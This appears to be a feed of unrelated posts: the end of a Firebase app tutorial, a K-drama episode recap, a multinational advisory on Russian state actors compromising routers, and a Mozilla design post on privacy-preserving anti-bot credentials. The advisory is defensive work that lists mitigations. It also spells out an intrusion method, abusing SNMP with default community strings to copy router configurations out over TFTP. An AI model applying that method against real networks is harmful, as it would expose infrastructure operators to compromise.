//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

‘Agent Kim Reactivated’ Episode 9 Recap: Kim and His Team Fight Their Way Out

Sat, 25 Jul 2026 10:05:45 +0200

Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise. Release date: July 24, 2026 Streaming platform: Netflix Total episodes: 10 Finale release date: July 25, 2026 The Korean drama follows an ordinary office worker who reveals his past as a highly trained black-ops agent after his daughter disappears. The series stars So Ji-sub as Manager Kim, alongside Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun, and Seo Su-min. Spoilers ahead for Agent Kim Reactivated Episode 9 Episode 9 begins with Kim’s latest operation failing to go according to plan. After being captured and tortured in the previous episode, Kim remains trapped between the National Special Missions Bureau, enemies from his past, and Kang-chan’s personal revenge campaign. Kim refuses to surrender because reaching Min-ji remains his only priority. He once again relies on the skills he spent years hiding, although the episode makes it clear that he cannot complete this mission alone. Han-su and Jin-cheol return to help their old friend, bringing their familiar mix of action and humour into the tense situation. Sang-a also becomes an important part of the escape plan. Together, the four characters attempt to break free before Kang-chan can carry out the next stage of his revenge. Kang-chan reveals another plan The biggest problem is that Kang-chan has already expected Kim to fight back. He keeps another secret weapon ready, forcing Kim and the other fathers to change their strategy while they are already under pressure. Kang-chan’s actions continue the conflict that began with the bullying involving Min-ji and Hye-ri. What started as a dispute between their daughters has grown into a violent battle shaped by pride, power, and revenge. The episode also brings the three fathers closer together. Han-su and Jin-cheol understand that Kim will risk his life for Min-ji, so they choose to remain beside him even when the chances of escaping become smaller. Where is the story heading? Episode 9 serves as the final setup before the conclusion. Kim has survived capture, reunited with Min-ji, and faced people connected to his hidden life, but Kang-chan still controls the final threat. The remaining conflict now depends on whether Kim can protect his daughter without losing the friends who followed him into danger. The extended finale airs on July 25 at 9:45 p.m. KST, five minutes earlier than the show’s usual broadcast time. What did you think about Kim, Han-su, Jin-cheol, and Sang-a’s escape mission in Agent Kim Reactivated Episode 9? Let us know what you expect from the finale in the comments.

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting

Sat, 25 Jul 2026 08:51:21 +0200

Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1]

This CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Federal Bureau of Investigation (FBI)
United States Department of Defense Cyber Crime Center (DC3)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Estonian Information System Authority (RIA)⁴
Finnish Defence Intelligence (FDI)⁵
Finnish Security and Intelligence Service (SUPO)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
The Military Counterintelligence Service of Poland (SKW)¹⁰
Sweden National Cyber Security Centre (NCSC-SE)¹¹

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Figure 1: FSB Center 16 activity and recommended mitigation actions

Download the PDF version of this report:

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity:

Berserk Bear
Energetic Bear
Crouching Yeti
Dragonfly
Ghost Blizzard
Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

Communications,
Defense Industrial Base,
Energy,
Financial Services,
Government Services and Facilities, especially organizations at the state and local level, and
Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise ¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]:

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

Disable Cisco Smart Install on all devices [D3-ACH]. [2]
Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
- Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
- SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
- Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
- Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM].
- Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
- Example OIDs include:
  - 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
  - 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to)
Restrict management protocols [D3-NTF].
- Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
- On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
  - User Datagram Protocol (UDP) port 69 (TFTP)
  - Transmission Control Protocol (TCP) port 4786 (SMI)
  - UDP ports 161 and 162 (SNMP)
  - TCP/UDP ports 10161 and 10162 (SNMPv3)
Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones.
- Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
  - U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
  - U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

Canada:

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

¹Národní úřad pro kybernetickou a informační bezpečnost

² Forsvarets Efterretningstjeneste

³ Välisluureamet

⁴ Riigi Infosüsteem Amet

⁵ Sotilastiedustelu

⁶ Suojelupoliisi

⁷ Agence nationale de la sécurité des systèmes d’information

⁸ Agenzia Informazioni e Sicurezza Esterna

⁹ Agenzia Informazioni e Sicurezza Interna

¹⁰ Służba Kontrwywiadu Wojskowego

¹¹ Nationellt Cybersäkerhetscenter

¹²MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

¹³ CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

Purpose

Contact

United States organizations

National Security Agency (NSA)
- Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
- Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
- Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
- U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact.
United States Department of Defense Cyber Crime Center (DC3)
- Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
- Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
- Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

Australian Signals Directorate
- Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
- Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
- Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
- Visit https://www.sicurezzanazionale.gov.it/

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance
Technique Title	ID	Use
Active Scanning: Scanning IP Blocks	T1595.001	Scan range of IP addresses
Active Scanning: Vulnerability Scanning	T1595.002	Scan victims for vulnerabilities that can be used during targeting

Table 2: Resource Development
Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Use publicly available code to exploit vulnerable devices

Table 3: Initial Access
Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Proxy	T1090	Use a connection proxy to direct network traffic

Table 4: Execution
Technique Title	ID	Use
System Services	T1569	Executing commands via SNMP

Table 5: Privilege Escalation
Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Exploit publicly known CVEs for escalated privileges

Table 6: Stealth
Technique Title	ID	Use
Obfuscated Files or Information	T1027	Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses

Table 7: Credential Access
Technique Title	ID	Use
OS Credential Dumping	T1003	Collect router configuration with weak Cisco Type 7 passwords and Type 0

Table 8: Collection
Technique Title	ID	Use
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP
Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations

Table 9: Command and Control
Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Application Layer Protocol	T1071	Open and expose a variety of different services, including TFTP and FTP

Table 10: Exfiltration
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Exfiltrating over a different protocol than that of the existing command and control channel.

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures
Countermeasure Title	ID	Description
Application Configuration Hardening	D3-ACH	Use SNMPv3 and disable SNMPv1 and SNMPv2. Use SNMP allowlisting to restrict access to OIDs and MIBs. Disable Cisco Smart Install.
Message Authentication	D3-MAN	Use SNMPv3 with strong authentication.
Message Encryption	D3-MENCR	Use SNMPv3 to encrypt payloads.
Credential Hardening	D3-CH	Use strong, unique passwords and store them securely.
Platform Monitoring	D3-PM	Monitor for unusual credentials. Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering	D3-NTF	Use ACLs to only allow management protocols from management devices. Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment	D3-NVA	Use an attack surface management service.

Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web

Sat, 25 Jul 2026 08:37:27 +0200

This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans. For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user. Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential.

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

